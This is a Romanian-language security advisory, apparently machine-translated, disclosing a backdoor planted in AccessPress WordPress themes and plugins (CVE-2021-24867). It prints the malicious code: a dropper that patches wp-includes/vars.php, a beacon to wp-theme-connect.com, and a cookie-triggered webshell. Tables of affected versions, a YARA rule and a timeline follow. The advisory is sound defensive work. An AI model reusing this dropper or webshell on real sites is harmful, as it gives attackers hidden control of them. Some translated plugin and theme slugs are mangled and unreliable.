Backdoor găsit în teme și pluginuri din temele AccessPress

Publicat: 2022-01-19

Actualizare 1 februarie – S-a schimbat secțiunea „Teme afectate” pentru a reflecta faptul că încep să apară versiuni noi ale temelor.

În timp ce investigăm un site compromis, am descoperit un cod suspect într-o temă creată de AccessPress Themes (aka Access Keys), un furnizor cu un număr mare de teme și pluginuri populare. În urma investigațiilor ulterioare, am descoperit că toate temele și majoritatea pluginurilor de la furnizor conțineau acest cod suspect, dar numai dacă au fost descărcate de pe propriul lor site web. Aceleași extensii erau bune dacă au fost descărcate sau instalate direct din directorul WordPress.org.

Din cauza modului în care extensiile au fost compromise, am bănuit că un atacator extern a încălcat site-ul web al AccessPress Themes în încercarea de a folosi extensiile pentru a infecta alte site-uri.

Am contactat imediat vânzătorul, dar la început nu am primit un răspuns. După escaladarea acesteia către echipa de plugin WordPress.org, suspiciunile noastre au fost confirmate. Site-urile web AccessPress Themes au fost încălcate în prima jumătate a lunii septembrie 2021, iar extensiile disponibile pentru descărcare pe site-ul lor au fost injectate cu o ușă în spate.

Odată ce am stabilit un canal pentru comunicarea cu furnizorul, le-am împărtășit constatările noastre detaliate. Au eliminat imediat extensiile ofensatoare de pe site-ul lor.

Cele mai multe dintre pluginuri au fost actualizate de atunci, iar versiunile curate cunoscute sunt enumerate în partea de jos a acestei postări. Cu toate acestea, temele afectate nu au fost actualizate și sunt extrase din depozitul de teme WordPress.org. Dacă aveți instalată pe site-ul dvs. oricare dintre temele enumerate în partea de jos a acestei postări, vă recomandăm să migrați la o temă nouă cât mai curând posibil.

Această dezvăluire se referă la un număr mare de extensii, atât pluginuri, cât și teme. Treceți la lista de mai jos sau citiți mai departe pentru detalii.

Detalii:

Furnizor: Teme AccessPress
Adresa URL a furnizorului: https://accesspressthemes.com
Pluginuri: multiple
Teme: multiple
CVE: CVE-2021-24867

Analiză:

Extensiile infectate conțineau un dropper pentru un webshell care oferă atacatorilor acces deplin la site-urile infectate. Dropper-ul se află în fișierul inital.php situat în pluginul principal sau directorul temei. Când rulează, instalează un webshell bazat pe cookie-uri în wp-includes/vars.php . Shell-ul este instalat ca o funcție chiar în fața funcției wp_is_mobile() cu numele wp_is_mobile_fix() . Acest lucru este de presupus pentru a nu trezi suspiciuni pentru nimeni care derulează întâmplător prin fișierul vars.php .

function makeInit() {
    $b64 = 'ba' . 'se64' . '_dec' . 'ode';
    $b = 'ZnVuY3Rpb2........TsKCg==';

    $f = $_SERVER['DOCUMENT_ROOT'] . '/wp-includes/vars.php';
    if(file_exists($f)) {
        $fp = 0777 & @fileperms($f);
        $ft = @filemtime($f);
        $fc = @file_get_contents($f);
        if(strpos($fc, 'wp_is_mobile_fix') === false) {
            $fc = str_replace('function wp_is_mobile()',
                $b64($b) . 'function wp_is_mobile()',
                $fc);
            @file_put_contents($f, $fc);
            @touch($f, $ft);
            @chmod($f, $fp);
        }
        return true;
    }
    return false;
}

Odată instalat shell-ul, dropper-ul va suna acasă prin încărcarea unei imagini de la distanță de la adresa URL hxxps://www.wp-theme-connect.com/images/wp-theme.jpg cu adresa URL a site-ului infectat și informații despre ce temă o folosește ca argumente de interogare. În cele din urmă, va elimina fișierul sursă dropper pentru a evita detectarea când cererea se termină de execuție.

function finishInit() {
    unlink(__FILE__);
}

add_action( 'admin_notices', 'wp_notice_plug', 20 );
if ( !function_exists( 'wp_notice_plug' ) ) {

    function wp_notice_plug() {
        echo '<img style="display: none;" src="https://www.wp-theme-connect.com/images/wp-theme.jpg?ph=' . $_SERVER["HTTP_HOST"] . '&phn=accesspress-anonymous-post">';
    }

}
register_shutdown_function('finishInit');

Webshell-ul în sine se declanșează dacă șirul de agent de utilizator din cerere este wp_is_mobile și cererea conține opt module cookie specifice. Se împletește și execută o sarcină utilă din aceste cookie-uri furnizate.

	$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');
	$g = $_COOKIE;

	(count($g) == 8 && $is_wp_mobile) ?
	(($qr = $g[33].$g[32]) && ($iv = $qr($g[78].$g[18])) &&
	($_iv = $qr($g[12].$g[17])) && ($_iv = @$iv($g[10], $_iv($qr($g[53])))) && 
	@$_iv()) : $g;

Am mai văzut și o altă variantă, probabil mai veche, a ușii din spate încorporată direct în fișierul functions.php al temei/pluginului. Această variantă folosește același mecanism pentru reunirea sarcinii utile din opt cookie-uri, dar nu filtrează pe șirul de agent de utilizator al cererii.

Pentru a se asigura că dropper-ul este executat, fișierul plugin principal (pentru plugin-uri) sau fișierul functions.php (pentru teme) a fost modificat cu cod pentru a executa fișierul inital.php dacă acesta există.

if(is_admin()) {
    add_action( "init", 'apap_plugin_check' );
}

function apap_plugin_check(){
    if(file_exists(__DIR__ . "/inital.php")){
        include(__DIR__ . "/inital.php");
    }
}

Un detaliu izbitor din marcajele temporale ale pluginurilor compromise este că toate sunt de la începutul lunii septembrie. Majoritatea sunt din 6 și 7 septembrie, cu câteva fișiere din 2 și 3 septembrie. La fel și pentru teme, toate au fost compromise pe 22 septembrie, cu excepția accessbuddy pe 9 septembrie.

De asemenea, marcajele temporale din arhivele zip sunt foarte uniforme, cu aproape toate fișierele cu exact aceeași marca temporală, cu excepția fișierului plugin principal modificat și a fișierului dropper adăugat, care este ștampilat câteva minute mai târziu (de obicei, aproximativ 2-5 minute după celelalte fișiere din arhivă).

Privind marcajele de timp pentru fișierele zip descărcate din depozitul wordpress.org , totuși, găsim o distribuție a marcajelor de timp corespunzătoare când pluginul/tema a fost de fapt actualizată. De asemenea, distribuția marcajelor de timp în arhivă este mai puțin uniformă și reflectă ce fișiere au fost actualizate în versiune și care sunt neschimbate față de o versiune mai veche.

Acest lucru ne sugerează că fișierele de pe site-ul web al Temelor AccessPress au fost modificate în mod intenționat și ca o acțiune coordonată după ce au fost lansate inițial. Compromisul pare să fi fost realizat în două etape, una pentru pluginuri și una ulterioară pentru teme. Fiecare dintre ele cu câteva încercări anterioare, eventual pentru a ajusta procesul.

Investigația noastră a analizat doar temele și pluginurile disponibile gratuit pe site-ul web al Temelor AccessPress. Presupunem că temele lor pro plătite sunt afectate în mod similar, dar nu le-am examinat. Dacă aveți oricare dintre acestea, vă rugăm să contactați asistența AccessPress Themes pentru sfaturi suplimentare.

Teme afectate

Dacă aveți instalată pe site-ul dvs. oricare dintre următoarele teme cu un număr de versiune în coloana Incorectă , vă recomandăm să faceți imediat upgrade la versiunea din coloana Curățare . Este de remarcat faptul că temele instalate prin WordPress.org sunt curate, chiar dacă sunt listate în coloana Bad . Vă recomandăm în continuare să faceți upgrade la versiunea curată cunoscută pentru a fi în siguranță.

Temele fără număr de versiune în coloana Curățare nu au fost încă actualizate și vă recomandăm să o înlocuiți cu o altă temă dacă este posibil.

Limac temă Rău Curat
accessbuddy 1.0.0
accesspress-basic 3.2.1 3.2.2
accesspress-lite 2,92 2,93
accesspress-mag 2.6.5 2.6.6
accesspress-paralax 4.5 4.6
accesspress-ray 1.19.5
accesspress-root 2.5 2.6.0
accesspress-staple 1.9.1
accesspress-magazin 2.4.9 2.5.0
agentie-lite 1.1.6 1.1.7
aplite 1.0.6
bingle 1.0.4 1.0.5
bloger 1.2.6 1.2.7
constructii-lite 1.2.5 1.2.6
doko 1.0.27 1.1.0
luminează 1.3.5 1.3.6
magazin de moda 1.2.1
fotografiere 2.4.0 2.4.1
gaga-corp 1.0.8
gaga-lite 1.4.2
un singur paze 2.2.8
paralax-blog 3.1.1574941215
paralaxsome 1.3.6 1.3.7
punte 1.1.2 1.1.3
se învârte 1.3.1
clipoci 1.2.0 1.2.1
scrollme 2.1.0
sportsmag 1.2.1
storevilla 1.4.1 1.4.2
swing-lite 1.1.9 1.2.0
lansatorul 1.3.2 1.3.3
lunea 1.4.1
uncode-lite 1.3.1
unicon-lite 1.2.6 1.2.7
vmag 1.2.7 1.2.8
vmagazine-lite 1.3.5 1.3.7
vmagazine-news 1.0.5 1.0.6
zigcy-bebe 1.0.6 1.0.7
zigcy-cosmetice 1.0.5 1.0.6
zigcy-lite 2.0.9 2.1.0
Tabelul 1: Teme și versiuni compromise de atac.

Pluginuri afectate

Dacă aveți instalat pe site-ul dvs. oricare dintre următoarele plugin-uri cu un număr de versiune în coloana Bad , vă recomandăm să faceți imediat upgrade la versiunea din coloana Curățare . Este de remarcat faptul că pluginurile instalate prin WordPress.org sunt curate, chiar dacă sunt listate în coloana Bad . Vă recomandăm în continuare să faceți upgrade la versiunea curată cunoscută pentru a fi în siguranță.

Pluginurile fără număr de versiune în coloana Curățare nu au fost încă actualizate și vă recomandăm să-l înlocuiți cu alte plugin-uri dacă este posibil.

Plugin slug Rău Curat Notă
accesspress-anonim-post 2.8.0 2.8.1 1
accesspress-custom-css 2.0.1 2.0.2
accesspress-custom-post-type 1.0.8 1.0.9
accesspress-facebook-auto-post 2.1.3 2.1.4
accesspress-instagram-feed 4.0.3 4.0.4
accesspress-pinterest 3.3.3 3.3.4
accesspress-social-counter 1.9.1 1.9.2
accesspress-social-icoane 1.8.2 1.8.3
accesspress-social-login-lite 3.4.7 3.4.8
accesspress-social-share 4.5.5 4.5.6
accesspress-twitter-auto-post 1.4.5 1.4.6
accesspress-twitter-feed 1.6.7 1.6.8
ak-menu-icoane-lite 1.0.9
ap-companion 1.0.7 2
formularul-ap-contact 1.0.6 1.0.7
ap-custom-testimonial 1.4.6 1.4.7
ap-mega-meniu 3.0.5 3.0.6
ap-pricing-tables-lite 1.1.2 1.1.3
apex-notification-bar-lite 2.0.4 2.0.5
cf7-store-to-db-lite 1.0.9 1.1.0
comments-disable-accesspress 1.0.7 1.0.8
easy-side-tab-cta 1.0.7 1.0.8
everest-admin-theme-lite 1.0.7 1.0.8
everest-coming-soon-lite 1.1.0 1.1.1
everest-comment-rating-lite 2.0.4 2.0.5
everest-contra-lite 2.0.7 2.0.8
everest-faq-manager-lite 1.0.8 1.0.9
everest-galerie-lite 1.0.8 1.0.9
everest-google-places-reviews-lite 1.0.9 2.0.0
everest-review-lite 1.0.7
everest-tab-lite 2.0.3 2.0.4
everest-timeline-lite 1.1.1 1.1.2
inline-call-to-action-builder-lite 1.1.0 1.1.1
glisor-produs pentru-woocommerce-lite 1.1.5 1.1.6
smart-logo-showcase-lite 1.1.7 1.1.8
posturi-scroll-inteligente 2.0.8 2.0.9
smart-scroll-to-top-lite 1.0.3 1.0.4
total-gdpr-compliance-lite 1.0.4
total-echipă-lite 1.1.1 1.1.2
ultimate-author-box-lite 1.1.2 1.1.3
ultimate-form-builder-lite 1.5.0 1.5.1
woo-badge-designer-lite 1.1.0 1.1.1
wp-1-glisor 1.2.9 1.3.0
wp-blog-manager-lite 1.1.0 1.1.2
wp-comment-designer-lite 2.0.3 2.0.4
wp-cookie-user-info 1.0.7 1.0.8
wp-facebook-review-showcase-lite 1.0.9
wp-fb-messenger-button-lite 2.0.7
wp-meniu-plutitor 1.4.4 1.4.5
wp-media-manager-lite 1.1.2 1.1.3
wp-popup-bannere 1.2.3 1.2.4
wp-popup-lite 1.0.8
wp-product-gallery-lite 1.1.1
Tabelul 2: Plugin-uri, versiuni compromise de atac, precum și versiuni curate cunoscute,

Note:

  1. Acest plugin nu a fost actualizat, dar se crede că este curat, deoarece versiunea de pe site-ul web AccessPress Themes era o versiune mai veche.
  2. Acest plugin nu a fost actualizat, dar se crede că este curat, deoarece nu a fost disponibil inițial pe site-ul AccessPress Themes.

IOC-uri

Următoarea regulă YARA poate fi folosită pentru a verifica dacă site-ul a fost infectat. Va detecta atât partea dropper a infecției, cât și webshell-ul instalat.

rule accesspress_backdoor_infection
{
strings:

   // IoC's for the dropper
   $inject0 = "$fc = str_replace('function wp_is_mobile()',"
   $inject1 = "$b64($b) . 'function wp_is_mobile()',"
   $inject2 = "$fc);"
   $inject3 = "@file_put_contents($f, $fc);"

   // IoC's for the dumped payload
   $payload0 = "function wp_is_mobile_fix()"
   $payload1 = "$is_wp_mobile = ($_SERVER['HTTP_USER_AGENT'] == 'wp_is_mobile');"
   $payload2 = "$g = $_COOKIE;"
   $payload3 = "(count($g) == 8 && $is_wp_mobile) ?"

   $url0 = /https?:\/\/(www\.)?wp\-theme\-connect\.com(\/images\/wp\-theme\.jpg)?/

condition:

   all of ( $inject* )
   or all of ( $payload* )
   or $url0
}

Recomandări

Dacă aveți teme sau pluginuri instalate direct din AccessPress Themes sau din orice alt loc, cu excepția WordPress.org, ar trebui să faceți upgrade imediat la o versiune sigură, așa cum este indicat în tabelele de mai sus. Dacă nu este disponibilă nicio versiune sigură, înlocuiți-o cu cea mai recentă versiune de pe WordPress.org.

Vă rugăm să rețineți că acest lucru nu elimină ușa din spate din sistemul dvs., așa că, în plus, trebuie să reinstalați o versiune curată a WordPress pentru a anula modificările de bază ale fișierului efectuate în timpul instalării ușii din spate.

Dacă aveți o temă sau un plugin plătit de la AccessPress Themes/Access Keys, vă sfătuim să contactați asistența lor pentru ajutor.

Vă recomandăm cu tărie să aveți un plan de securitate pentru site-ul dvs. care să includă scanarea fișierelor rău intenționate și backup-uri. Jetpack Security este o opțiune excelentă de securitate WordPress pentru a vă asigura că site-ul și vizitatorii sunt în siguranță. Jetpack Scan a detectat toate variantele acestei uși din spate și dropper din 30 septembrie.

Cronologie

22.09.2021: Echipa Jetpack Scan descoperă dropperul și ușa din spate în tema FotoGraphy și încearcă să contacteze furnizorul în legătură cu descoperirea inițială.

27.09.2021: Confirmați prezența dropper + ușă din spate în toate pluginurile și temele gratuite actuale descărcate de pe site-ul furnizorilor.

2021-09-28: Confirmați că dropperul + ușa din spate nu este prezent la descărcările de pe wordpress.org

29.09.2021: Încercarea de a contacta din nou furnizorul, cu actualizări privind noile constatări.

2021-10-14: Ajuns la echipa de pluginuri WordPress pentru a încerca să obțină contact cu furnizorul.

2021-10-15: extensiile compromise sunt eliminate de pe site-ul furnizorului.

2021-10-16: Răspuns de la furnizor

2022-01-17: Majoritatea pluginurilor au fost actualizate la versiuni noi, temele au fost extrase de pe WordPress.org.

2022-01-18 Dezvăluire publică